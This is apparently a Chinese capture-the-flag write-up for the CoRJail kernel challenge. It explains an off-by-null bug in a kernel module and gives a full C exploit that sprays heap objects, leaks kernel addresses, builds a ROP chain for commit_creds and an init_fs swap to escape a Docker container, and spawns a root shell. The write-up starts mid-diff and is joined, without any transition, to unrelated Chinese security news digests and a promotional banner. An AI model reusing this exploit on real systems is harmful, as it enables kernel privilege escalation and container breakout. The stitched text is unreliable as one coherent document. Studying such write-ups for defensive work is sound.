(IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR)) return xa_load(&syscalls_metadata_sparse, (unsigned long)nr); @@ -111,6 +111,7 @@ return syscalls_metadata[nr]; } +EXPORT_SYMBOL(syscall_nr_to_meta); const char *get_syscall_name(int syscall) { @@ -122,6 +123,7 @@ return entry->name; } +EXPORT_SYMBOL(get_syscall_name); static enum print_line_t print_syscall_enter(struct trace_iterator *iter, int flags, 其中 +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count); 为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。 seccomp.json 保存了系统调用的白名单。 { "defaultAction": "SCMP_ACT_ERRNO", "defaultErrnoRet": 1, "syscalls": [ { "names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ], "action": "SCMP_ACT_ALLOW" }, { "names": [ "clone" ], "action": "SCMP_ACT_ALLOW", "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ] } ] } 根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。 root@CoRJail:/# cat /proc_rw/cormon     CPU0     CPU1     CPU2     CPU3 Syscall (NR)         9        16        25        18 sys_poll (7)         0         0         0         0 sys_fork (57)        66        64        79        60 sys_execve (59)         0         0         0         0 sys_msgget (68)         0         0         0         0 sys_msgsnd (69)         0         0         0         0 sys_msgrcv (70)         0         0         0         0 sys_ptrace (101)        15        19        11         6 sys_setxattr (188)        27        24        11        20 sys_keyctl (250)         0         0         2         2 sys_unshare (272)         0         1         0         0 sys_execveat (322) 也可以指定系统调用。 root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon root@CoRJail:/# cat /proc_rw/cormon     CPU0     CPU1     CPU2     CPU3 Syscall (NR)         0         0         0         0 sys_msgsnd (69)         0         0         0         0 sys_msgrcv (70) src.c 可以看到 write 存在明显的off-by-null。 static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) {    loff_t offset = *ppos;    char *syscalls;    size_t len;    if (offset < 0)        return -EINVAL;    if (offset >= PAGE_SIZE || !count)        return 0;    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);    if (!syscalls)   {        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");        return -ENOMEM;   }    if (copy_from_user(syscalls, ubuf, len))   {        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");        return -EFAULT;   }    syscalls[len] = '\x00';    if (update_filter(syscalls))   {        kfree(syscalls);        return -EINVAL;   }    kfree(syscalls);    return count; } 利用思路 在 poll_list 利用方式中: 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。 这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object。 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload。 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF。 详细流程如下: 首先,我们要打开有漏洞的模块。使用bind_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。 void bind_core(bool fixed, bool thread) {    cpu_set_t cpu_set;    CPU_ZERO(&cpu_set);    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);    if (thread) {        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);   } else {        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);   } } 喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。 此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object 。 通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。 注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。 static long setxattr(struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { int error; void *kvalue = NULL; char kname[XATTR_NAME_MAX + 1]; [...] if (size) { [...] kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x if (!kvalue) return -ENOMEM;        // 修改kmalloc-x内容 if (copy_from_user(kvalue, value, size)) { error = -EFAULT; goto out; } [...] } error = vfs_setxattr(d, kname, kvalue, size, flags); out: kvfree(kvalue); // 释放kmalloc-x return error; } 另外实测 kmalloc-32 的 freelist 偏移为 16 字节,不会覆盖 next 指针。 喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; struct user_key_payload { struct rcu_head rcu; /* RCU destructor */ unsigned short datalen; /* length of this data */ char data[0] __aligned(__alignof__(u64)); /* actual data */ }; struct callback_head { struct callback_head *next; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof(void *)))); #define rcu_head callback_head 之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object 。 释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object。 打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct 。 int tty_alloc_file(struct file *file) { struct tty_file_private *priv; priv = kmalloc(sizeof(*priv), GFP_KERNEL); if (!priv) return -ENOMEM; file->private_data = priv; return 0; } // kmalloc-32 | GFP_KERNEL struct tty_file_private { struct tty_struct *tty; struct file *file; struct list_head list; }; 趁 poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer 。 struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private;}; 之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。 docker逃逸 具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns() 被seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct。    // commit_creds(&init_creds)    *rop++ = pop_rdi_ret;    *rop++ = init_cred;    *rop++ = commit_creds;    // current = find_task_by_vpid(getpid())    *rop++ = pop_rdi_ret;    *rop++ = getpid();    *rop++ = find_task_by_vpid;    // current->fs = &init_fs    *rop++ = pop_rcx_ret;    *rop++ = 0x6e0;    *rop++ = add_rax_rcx_ret;    *rop++ = pop_rbx_ret;    *rop++ = init_fs;    *rop++ = mov_mmrax_rbx_pop_rbx_ret;    rop++; exp #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <asm/ldt.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <linux/keyctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <semaphore.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/sysinfo.h> #define PAGE_SIZE 0x1000 int randint(int min, int max) {    return min + (rand() % (max - min)); } void bind_core(bool fixed, bool thread) {    cpu_set_t cpu_set;    CPU_ZERO(&cpu_set);    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);    if (thread) {        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);   } else {        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);   } } void qword_dump(char *desc, void *addr, int len) {    uint64_t *buf64 = (uint64_t *) addr;    uint8_t *buf8 = (uint8_t *) addr;    if (desc != NULL) {        printf("[*] %s:\n", desc);   }    for (int i = 0; i < len / 8; i += 4) {        printf(" %04x", i * 8);        for (int j = 0; j < 4; j++) {            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");       }        printf("   ");        for (int j = 0; j < 32 && j + i * 8 < len; j++) {            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');       }        puts("");   } } bool is_kernel_text_addr(size_t addr) {    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF; //   return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF; } bool is_dir_mapping_addr(size_t addr) {    return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF; } #define INVALID_KERNEL_OFFSET 0x1145141919810 const size_t kernel_addr_list[] = {        0xffffffff813275c0,        0xffffffff812d4320,        0xffffffff812d4340,        0xffffffff812d4330 }; size_t kernel_offset_query(size_t kernel_text_leak) {    if (!is_kernel_text_addr(kernel_text_leak)) {        return INVALID_KERNEL_OFFSET;   }    for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {        if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)            && (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {            return kernel_text_leak - kernel_addr_list[i];       }   }    printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);    return INVALID_KERNEL_OFFSET; } size_t search_kernel_offset(void *buf, int len) {    size_t *search_buf = buf;    for (int i = 0; i < len / 8; i++) {        size_t kernel_offset = kernel_offset_query(search_buf[i]);        if (kernel_offset != INVALID_KERNEL_OFFSET) {            printf("[+] kernel leak addr: %#lx\n", search_buf[i]);            printf("[+] kernel offset: %#lx\n", kernel_offset);            return kernel_offset;       }   }    return INVALID_KERNEL_OFFSET; } size_t user_cs, user_rflags, user_sp, user_ss; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } typedef struct {    int nfds, timer; } poll_args; struct poll_list {    struct poll_list *next;    int len;    struct pollfd entries[]; }; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; size_t poll_threads, poll_cnt; void *alloc_poll_list(void *args) {    int nfds = ((poll_args *) args)->nfds;    int timer = ((poll_args *) args)->timer;    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));    for (int i = 0; i < nfds; i++) {        pfds[i].fd = open("/etc/passwd", O_RDONLY);        pfds[i].events = POLLERR;   }    bind_core(true, true);    pthread_mutex_lock(&mutex);    poll_threads++;    pthread_mutex_unlock(&mutex);    poll(pfds, nfds, timer);    bind_core(false, true);    pthread_mutex_lock(&mutex);    poll_threads--;    pthread_mutex_unlock(&mutex); } #define N_STACK_PPS 30 #define POLL_NUM 0x1000 pthread_t poll_tid[POLL_NUM]; void create_poll_thread(size_t size, int timer) {    poll_args *args = calloc(1, sizeof(poll_args));    args->nfds =       (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)        + N_STACK_PPS;    args->timer = timer;    pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args); } void wait_poll_start() {    while (poll_threads != poll_cnt); } void join_poll_threads(void (*confuse)(void *), void *confuse_args) {    for (int i = 0; i < poll_threads; i++) {        pthread_join(poll_tid[i], NULL);        if (confuse != NULL) {            confuse(confuse_args);       }   }    poll_cnt = poll_threads = 0; } struct callback_head {    struct callback_head *next;    void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof(void *)))); #define rcu_head callback_head #define __aligned(x)                   __attribute__((__aligned__(x))) typedef unsigned long long u64; struct user_key_payload {    struct rcu_head rcu;        /* RCU destructor */    unsigned short datalen;    /* length of this data */    char data[0] __aligned(__alignof__(u64)); /* actual data */ }; #define KEY_NUM 199 int key_id[KEY_NUM]; int key_alloc(int id, void *payload, int payload_len) {    char description[0x10] = {};    sprintf(description, "%d", id);    return key_id[id] =        syscall(__NR_add_key, "user", description, payload,                payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING); } int key_update(int id, void *payload, size_t plen) {    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen); } int key_read(int id, void *bufer, size_t buflen) {    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen); } int key_revoke(int id) {    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0); } int key_unlink(int id) {    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING); } struct list_head {    struct list_head *next, *prev; }; struct tty_file_private {    struct tty_struct *tty;    struct file *file;    struct list_head list; }; struct page; struct pipe_inode_info; struct pipe_buf_operations; struct pipe_bufer {    struct page *page;    unsigned int offset, len;    const struct pipe_buf_operations *ops;    unsigned int flags;    unsigned long private; }; struct pipe_buf_operations {    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);    int (*get)(struct pipe_inode_info *, struct pipe_bufer *); }; void get_shell(void) {    char *args[] = {"/bin/bash", "-i", NULL};    execve(args[0], args, NULL); } #define SEQ_NUM (2048 + 128) #define TTY_NUM 72 #define PIPE_NUM 1024 int cormon_fd; char buf[0x20000]; void seq_confuse(void *args) {    open("/proc/self/stat", O_RDONLY); } size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641; size_t pop_rdi_ret = 0xffffffff8116926d; size_t init_cred = 0xFFFFFFFF8245A960; size_t commit_creds = 0xFFFFFFFF810EBA40; size_t pop_r14_pop_r15_ret = 0xffffffff81001615; size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0; size_t init_fs = 0xFFFFFFFF82589740; size_t pop_rcx_ret = 0xffffffff8101f5fc; size_t add_rax_rcx_ret = 0xffffffff8102396f; size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d; size_t pop_rbx_ret = 0xffffffff811bce34; size_t swapgs_ret = 0xffffffff81a05418; size_t iretq = 0xffffffff81c00f97; int main() {    bind_core(true, false);    save_status();    signal(SIGSEGV, (void *) get_shell);    cormon_fd = open("/proc_rw/cormon", O_RDWR);    if (cormon_fd < 0) {        perror("[-] failed to open cormon.");        exit(-1);   }        size_t kernel_offset;    int target_key;    puts("[*] Saturating kmalloc-32 partial slabs...");    int seq_fd[SEQ_NUM];    for (int i = 0; i < SEQ_NUM; i++) {        seq_fd[i] = open("/proc/self/stat", O_RDONLY);        if (seq_fd[i] < 0) {            perror("[-] failed to open stat.");            exit(-1);       }        if (i == 2048) {            puts("[*] Spraying user keys in kmalloc-32...");            for (int j = 0; j < KEY_NUM; j++) {                setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);                key_alloc(j, buf, 32);                if (j == 72) {                    bind_core(false, false);                    puts("[*] Creating poll threads...");                    for (int k = 0; k < 14; k++) {                        create_poll_thread(                            PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd),                            3000);                   }                    bind_core(true, false);                    wait_poll_start();               }           }            puts("[*] Corrupting poll_list next pointer...");            write(cormon_fd, buf, PAGE_SIZE);            puts("[*] Triggering arbitrary free...");            join_poll_threads(seq_confuse, NULL);            puts("[*] Overwriting user key size / Spraying seq_operations structures...");       }   }    puts("[*] Leaking kernel pointer...");    for (int i = 0; i < KEY_NUM; i++) {        int len = key_read(i, buf, sizeof(buf));        kernel_offset = search_kernel_offset(buf, len);        if (kernel_offset != INVALID_KERNEL_OFFSET) {            qword_dump("dump leak memory", buf, 0x1000);            target_key = i;            break;       }   }    if (kernel_offset == INVALID_KERNEL_OFFSET) {        puts("[-] failed to leak kernel offset,try again.");        exit(-1);   }    push_rsi_pop_rsp_ret += kernel_offset;    pop_rdi_ret += kernel_offset;    init_cred += kernel_offset;    commit_creds += kernel_offset;    pop_r14_pop_r15_ret += kernel_offset;    find_task_by_vpid += kernel_offset;    init_fs += kernel_offset;    pop_rcx_ret += kernel_offset;    add_rax_rcx_ret += kernel_offset;    mov_mmrax_rbx_pop_rbx_ret += kernel_offset;    pop_rbx_ret += kernel_offset;    swapgs_ret += kernel_offset;    iretq += kernel_offset;    puts("[*] Freeing user keys...");    for (int i = 0; i < KEY_NUM; i++) {        if (i != target_key) {            key_unlink(i);       }   }    sleep(1);    puts("[*] Spraying tty_file_private / tty_struct structures...");    int tty_fd[TTY_NUM];    for (int i = 0; i < TTY_NUM; i++) {        tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);        if (tty_fd[i] < 0) {            perror("[-] failed to open ptmx");       }   }    puts("[*] Leaking heap pointer...");    size_t target_object = -1;    int len = key_read(target_key, buf, sizeof(buf));    qword_dump("dump leak memory", buf, 0x1000);    for (int i = 0; i < len; i += 8) {        struct tty_file_private *head = (void *) &buf[i];        if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)            && head->list.next == head->list.prev && head->list.prev != NULL) {            qword_dump("leak tty_struct addr from tty_file_private", &buf[i],                       sizeof(struct tty_file_private));            target_object = (size_t) head->tty;            printf("[+] tty_struct addr: %p\n", target_object);            break;       }   }    if (target_object == -1) {        puts("[-] failed to leak tty_struct addr.");        exit(-1);   }    puts("[*] Freeing seq_operation structures...");    for (int i = 2048; i < SEQ_NUM; i++) {        close(seq_fd[i]);   }    bind_core(false, false);    puts("[*] Creating poll threads...");    for (int i = 0; i < 192; i++) {        create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);   }    bind_core(true, false);    wait_poll_start();    puts("[*] Freeing corrupted key...");    key_unlink(target_key);    sleep(1); // GC key    puts("[*] Overwriting poll_list next pointer...");    char key[32] = {};    *(size_t *) &buf[0] = target_object - 0x18;    for (int i = 0; i < KEY_NUM; i++) {        setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);        key_alloc(i, key, 32);   }    puts("[*] Freeing tty_struct structures...");    for (int i = 0; i < TTY_NUM; i++) {        close(tty_fd[i]);   }    sleep(1); // GC TTYs    int pipe_fd[PIPE_NUM][2];    puts("[*] Spraying pipe_bufer structures...");    for (int i = 0; i < PIPE_NUM; i++) {        pipe(pipe_fd[i]);        write(pipe_fd[i][1], "aaaaaa", 6);   }    puts("[*] Triggering arbitrary free...");    join_poll_threads(NULL, NULL);   ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);   ((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;    size_t *rop = (size_t *) buf;    *rop++ = pop_r14_pop_r15_ret;    rop++;    rop++; // ops    // commit_creds(&init_creds)    *rop++ = pop_rdi_ret;    *rop++ = init_cred;    *rop++ = commit_creds;    // current = find_task_by_vpid(getpid())    *rop++ = pop_rdi_ret;    *rop++ = getpid();    *rop++ = find_task_by_vpid;    // current->fs = &init_fs    *rop++ = pop_rcx_ret;    *rop++ = 0x6e0;    *rop++ = add_rax_rcx_ret;    *rop++ = pop_rbx_ret;    *rop++ = init_fs;    *rop++ = mov_mmrax_rbx_pop_rbx_ret;    rop++;    // back to user    *rop++ = swapgs_ret;    *rop++ = iretq;    *rop++ = (uint64_t) get_shell;    *rop++ = user_cs;    *rop++ = user_rflags;    *rop++ = user_sp;    *rop++ = user_ss;    puts("[*] Spraying ROP chain...");    for (int i = 0; i < 31; i++) {        key_alloc(i, buf, 1024);   }    puts("[*] Hijacking control flow...");    for (int i = 0; i < PIPE_NUM; i++) {        close(pipe_fd[i][0]);        close(pipe_fd[i][1]);   }    sleep(5);    return 0; } 多试几次还是可以成功的。
网络安全日报 2024年11月11日
1、朝鲜黑客采用新战术攻击加密货币相关企业 https://securityaffairs.com/170659/malware/bluenoroff-apt-macos-malware.html 自2024年7月以来,朝鲜黑客针对加密货币相关行业的企业展开了新的网络攻击,使用钓鱼邮件和专门针对macOS的新型恶意软件。安全研究人员发现,这些钓鱼邮件看似包含有关比特币价格上涨风险的有用信息,但实际上内藏恶意软件。这些钓鱼邮件诱惑收件人点击并且下载一个名为“Hidden Risk Behind New Surge of Bitcoin Price.app”的恶意macOS应用程序包。该应用程序会下载并打开一个真实的PDF文件,里面是一篇 2、恶意软件Androxgh0st集成Mozi僵尸网络用于IoT漏洞的攻击 https://hackread.com/androxgh0st-botnet-integrate-mozi-iot-vulnerabilities/ Androxgh0st僵尸网络自2024年1月以来主要针对web服务器。近期,安全研究人员在分析Androxgh0st僵尸网络的命令与控制(C&C)日志时发现,该僵尸网络中具有Mozi僵尸网络相关的有效攻击载荷。因此可推测Androxgh0st僵尸网络为了能够更有效地感染IoT设备,在最新的变种中集成了Mozi僵尸网络的攻击组件,并利用一系列web应用程序和物联网(IoT)设备的各种漏洞进行攻击,其中便包含了Sophos Firewall防火 3、M2交易所遭到黑客攻击导致1370万美元加密货币被盗 https://www.cryptopolitan.com/m2-exchange-reports-hack-restores-13-7m-in-eth-sol-and-btc/ 11月1日,加密货币交易所M2遭到了一起黑客攻击事件导致超过1370万美元的加密货币从其热钱包中被盗。受影响的资产包括以太坊(ETH)、Solana(SOL)和比特币(BTC)。M2是一个相对较小的交易所,总部位于阿布扎比,主要服务于有限的市场。截至11月1日,M2的每日交易量仅为3.2万美元。尽管如此,M2在冷钱包中持有超过6700万美元的各种资产,在热钱包中持有超过1150万美元的资产,分布在六条链上,包括Bi 4、VEEAM漏洞再次被新的勒索软件Frag利用 https://news.sophos.com/en-us/2024/11/08/veeam-exploit-seen-used-again-with-a-new-ransomware-frag/ 据近期多起管理检测和响应(MDR)的案例中,安全研究人员发现威胁行为者利用了Veeam备份服务器中的一个漏洞,同时还部署了一种新的勒索软件 “Frag”,该勒索软件在此之前从未被记录。初始访问时,威胁行为者通常会通过被 compromized 的VPN设备获得初始访问权限。接着通过利用CVE-2024-40711漏洞创建新的管理员账户,进一步渗透目标系统,最后在威胁行为者获得控制权后,便部署勒索软 5、Palo Alto Networks Expedition存在高危漏洞 https://securityaffairs.com/170697/uncategorized/palo-alto-networks-warns-potential-pan-os-rce.html 美国网络安全和基础设施安全局(CISA)于10月确认,Palo Alto Networks Expedition(防火墙配置迁移工具)存在高危漏洞(CVE-2024-5910)并且正在被攻击者利用。该漏洞由于在一个关键功能缺少身份验证,导致拥有攻击者在具有网络访问权限下通过发送简单的请求到暴露的端点来重置管理员密码,从而获得对系统的完全控制,包括了接管Palo Alto Networks Exp 6、Mazda车辆存在可被黑客利用的系统漏洞 https://hackread.com/hackers-mazda-vehicle-controls-system-vulnerabilities/ 网络安全研究人员发现,马自达汽车的多个车型存在严重的车载信息娱乐系统漏洞,特别是2014年至2021年的Mazda 3车型中使用的Connectivity Master Unit (CMU)。这些漏洞源于对攻击者提供的输入处理不当,可能允许物理接近的攻击者通过特制的USB设备执行任意代码,从而获得系统最高权限,危及车辆安全。攻击者可以通过在FAT32格式的USB存储设备上创建包含OS命令的文件(文件名以.up结尾)来利用这些漏洞。一旦初始攻击 7、GuLoader黑客活动针对欧洲工业和工程公司 https://www.cadosecurity.com/blog/guloader-targeting-european-industrial-companies 安全研究人员最近发现了一项针对欧洲工业和工程公司的GuLoader活动。GuLoader 是一种规避性shellcode下载器,用于提供远程访问木马(RAT),自2019年以来一直被威胁行为者使用并继续发展。此次攻击活动主要通过鱼叉式网络钓鱼邮件进行初始访问,目标包括罗马尼亚、波兰、德国和哈萨克斯坦等国家的电子制造、工程和工业公司。攻击者通过发送包含订单查询的电子邮件,附件中附带压缩文件(如ISO、7z、gzip、RAR)。这些 8、攻击者通过Excel文件传播新型Remcos RAT变种 https://hackread.com/hackers-use-excel-files-remcos-rat-variant-windows/ 网络安全研究人员发现了新的Remcos RAT(远程访问木马)变种,这是一种通过高级技术感染Windows系统、窃取数据并实现远程控制的危险恶意软件。该攻击活动是通过伪造成订单通知的欺骗性网络钓鱼邮件发起,附件是一个带有OLE对象的Excel文档。当用户打开这个恶意Excel文档时,CVE-2017-0199漏洞被利用来下载并执行一个HTML应用程序(HTA)文件。其中CVE-2017-0199是一个远程代码执行漏洞,它利用Microsoft Of 9、GodFather恶意软件瞄准全球500个银行和加密应用 https://cyble.com/blog/godfather-malware-targets-500-banking-and-crypto-apps-worldwide/ 安全研究员最近发现了GodFather安卓银行木马的新型变种通过钓鱼网站分发,并跟踪访问者数量以规划进一步行动。其中一个钓鱼网站“mygov-au[.]app”伪装成澳大利亚政府的官方MyGov网站。该变种现已瞄准超过500个银行和加密货币应用程序。最初,GodFather主要集中在英国、美国、土耳其、西班牙和意大利等地,但现在已扩展到日本、新加坡、希腊和阿塞拜疆。该新变种将Java代码转为Native代码,增加了检测 10、命令注入漏洞威胁 61,000 多个 D-Link NAS 设备 https://securityonline.info/cve-2024-10914-cvss-9-2-command-injection-flaw-threatens-61000-d-link-nas-devices D-Link NAS 设备中发现了一个严重漏洞 CVE-2024-10914,对全球超过 61,000 个系统构成严重风险。该缺陷是“account_mgr.cgi”脚本中的命令注入漏洞,允许远程攻击者通过特制的 HTTP GET 请求执行任意命令。此问题影响多个 D-Link NAS 型号,包括 DNS-320、DNS-320LW、DNS-325 和 DNS-340L, C 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
【双11大直播】11.11网安购!省钱实“利”派
网络安全日报 2024年11月08日
1、思科发布针对工业无线系统中严重URWB漏洞补丁 https://thehackernews.com/2024/11/cisco-releases-patch-for-critical-urwb.html 思科发布了安全更新,以解决影响超可靠无线回程 ( URWB ) 接入点的最严重安全漏洞,该漏洞可能允许未经身份验证的远程攻击者以提升的权限运行命令。该漏洞编号为CVE-2024-20418 (CVS 评分:10.0),被描述为源于思科统一工业无线软件基于 Web 的管理界面缺乏输入验证。 2、恶意PyPI包“Fabrice”窃取数千名开发人员的 AWS 密钥 https://thehackernews.com/2024/11/malicious-pypi-package-fabrice-found.html 网络安全研究人员在 Python 包索引 (PyPI) 上发现了一个恶意包,该包在三年多的时间里已经获得了数千次下载,同时还秘密窃取了开发人员的 Amazon Web Services (AWS) 凭证。有问题的包是“ fabrice ”,它误植了一个名为“ fabric ”的流行 Python 库,该库旨在通过 SSH 远程执行 shell 命令。虽然合法软件包的下载量已超过 2.02 亿次,但迄今为止,其恶意软件包的下载次数已超过 37, 3、出于安全考虑,加拿大命令 TikTok 关闭加拿大业务 https://thehackernews.com/2024/11/canada-orders-tiktok-to-shut-down.html 加拿大政府周三以国家安全风险为由,下令字节跳动旗下的 TikTok 解散其在该国的业务,但并未对这个流行的视频共享平台实施禁令。 4、思科披露了多个影响其身份服务引擎 (ISE) 软件的漏洞 https://cybersecuritynews.com/cisco-identity-services-engine-flaw-2/ 这些漏洞可能允许经过身份验证的远程攻击者绕过授权机制或进行跨站点脚本(XSS) 攻击。此通报于 2024 年 11 月 6 日发布,强调了与这些漏洞相关的风险,并提供了可用修复程序的详细信息。 5、黑客可以随意访问EA公司7亿用户账号 https://www.freebuf.com/news/414675.html 据Cyber News消息,游戏开发人员兼白帽 Sean Kahler 发现了一个影响 Electronic Arts (EA) 帐户系统的漏洞,可以在未经授权的情况下访问任何EA用户帐户(目前EA用户有大约7亿),包括游戏统计数据。 6、国际刑警组织摧毁了22000个 IP 地址上的网络犯罪活动 https://www.bleepingcomputer.com/news/security/interpol-disrupts-cybercrime-activity-on-22-000-ip-addresses-arrests-41/ 国际刑警组织宣布,在一项名为 Operation Synergia II 的国际执法行动中逮捕了 41 名犯罪嫌疑人,并摧毁了在 22000 个 IP 地址上运行的 1,037 台服务器和基础设施,这些服务器和基础设施为网络犯罪提供了便利。 7、Pwn2Own 上白帽黑客连续第四次突破百万美元奖金大关 https://app.myzaker.com/news/article.php?pk=672aeab2b15ec0073a6a7dff Pwn2Own Ireland 2024 第四天黑客竞赛结束, 本届 Pwn2Own 是白帽黑客连续第四次突破百万美元奖金大关,总共赢得了 1066625 美元。 8、德国计划将白帽黑客行为合法化 https://cybernews.com/security/germany-plans-to-decriminalize-whitehat-hacking/ 德国政府已提出立法草案,将旨在寻找安全漏洞的道德黑客行为排除在刑事起诉之外。 9、施耐德电气遭遇网络攻击,黑客竟索要 40 万根法棍 https://www.ithome.com/0/808/179.htm 黑客组织 Greppy 